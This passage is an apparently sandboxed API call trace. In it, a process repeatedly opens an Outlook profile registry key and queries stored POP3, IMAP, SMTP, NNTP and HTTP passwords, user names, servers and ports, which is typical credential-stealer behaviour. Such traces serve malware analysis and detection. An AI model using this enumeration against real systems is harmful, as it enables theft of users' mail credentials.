out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.381] RegCloseKey (hKey=0x71c) returned 0x0 [0096.381] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.381] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.381] RegCloseKey (hKey=0x71c) returned 0x0 [0096.381] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.381] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.381] RegCloseKey (hKey=0x71c) returned 0x0 [0096.381] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.381] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.381] RegCloseKey (hKey=0x71c) returned 0x0 [0096.381] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.381] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.381] RegCloseKey (hKey=0x71c) returned 0x0 [0096.381] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.382] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.382] RegCloseKey (hKey=0x71c) returned 0x0 [0096.382] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.382] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.382] RegCloseKey (hKey=0x71c) returned 0x0 [0096.382] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.382] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.382] RegCloseKey (hKey=0x71c) returned 0x0 [0096.382] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.382] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.382] RegCloseKey (hKey=0x71c) returned 0x0 [0096.382] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.382] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.382] RegCloseKey (hKey=0x71c) returned 0x0 [0096.382] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.382] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.382] RegCloseKey (hKey=0x71c) returned 0x0 [0096.383] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.383] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.383] RegCloseKey (hKey=0x71c) returned 0x0 [0096.383] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.383] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.383] RegCloseKey (hKey=0x71c) returned 0x0 [0096.383] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.383] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.383] RegCloseKey (hKey=0x71c) returned 0x0 [0096.383] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.383] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.383] RegCloseKey (hKey=0x71c) returned 0x0 [0096.383] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.383] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.383] RegCloseKey (hKey=0x71c) returned 0x0 [0096.383] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.383] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.383] RegCloseKey (hKey=0x71c) returned 0x0 [0096.384] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.384] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.384] RegCloseKey (hKey=0x71c) returned 0x0 [0096.384] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.384] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.384] RegCloseKey (hKey=0x71c) returned 0x0 [0096.384] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.384] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.384] RegCloseKey (hKey=0x71c) returned 0x0 [0096.384] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.384] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.384] RegCloseKey (hKey=0x71c) returned 0x0 [0096.384] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.384] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.384] RegCloseKey (hKey=0x71c) returned 0x0 [0096.384] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.384] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.384] RegCloseKey (hKey=0x71c) returned 0x0 [0096.384] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.384] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.385] RegCloseKey (hKey=0x71c) returned 0x0 [0096.385] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.385] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.385] RegCloseKey (hKey=0x71c) returned 0x0 [0096.385] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.385] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.385] RegCloseKey (hKey=0x71c) returned 0x0 [0096.385] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.385] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.385] RegCloseKey (hKey=0x71c) returned 0x0 [0096.385] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.385] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.385] RegCloseKey (hKey=0x71c) returned 0x0 [0096.385] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.385] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.385] RegCloseKey (hKey=0x71c) returned 0x0 [0096.385] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.385] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.386] RegCloseKey (hKey=0x71c) returned 0x0 [0096.386] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.386] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.386] RegCloseKey (hKey=0x71c) returned 0x0 [0096.386] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.386] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.386] RegCloseKey (hKey=0x71c) returned 0x0 [0096.386] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.386] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.386] RegCloseKey (hKey=0x71c) returned 0x0 [0096.386] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.386] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.386] RegCloseKey (hKey=0x71c) returned 0x0 [0096.386] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.386] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.386] RegCloseKey (hKey=0x71c) returned 0x0 [0096.386] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.386] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.386] RegCloseKey (hKey=0x71c) returned 0x0 [0096.386] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.387] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.387] RegCloseKey (hKey=0x71c) returned 0x0 [0096.387] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.387] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.387] RegCloseKey (hKey=0x71c) returned 0x0 [0096.387] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.387] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.387] RegCloseKey (hKey=0x71c) returned 0x0 [0096.387] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.387] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.387] RegCloseKey (hKey=0x71c) returned 0x0 [0096.387] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.387] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.387] RegCloseKey (hKey=0x71c) returned 0x0 [0096.387] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.387] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.387] RegCloseKey (hKey=0x71c) returned 0x0 [0096.387] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.387] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.388] RegCloseKey (hKey=0x71c) returned 0x0 [0096.388] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.388] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.388] RegCloseKey (hKey=0x71c) returned 0x0 [0096.388] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.388] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.388] RegCloseKey (hKey=0x71c) returned 0x0 [0096.388] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.388] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.388] RegCloseKey (hKey=0x71c) returned 0x0 [0096.388] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x71c) returned 0x0 [0096.388] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000001", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.388] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0096.388] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x4472930 [0096.388] wsprintfA (in: param_1=0x4472930, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001") returned 97 [0096.388] 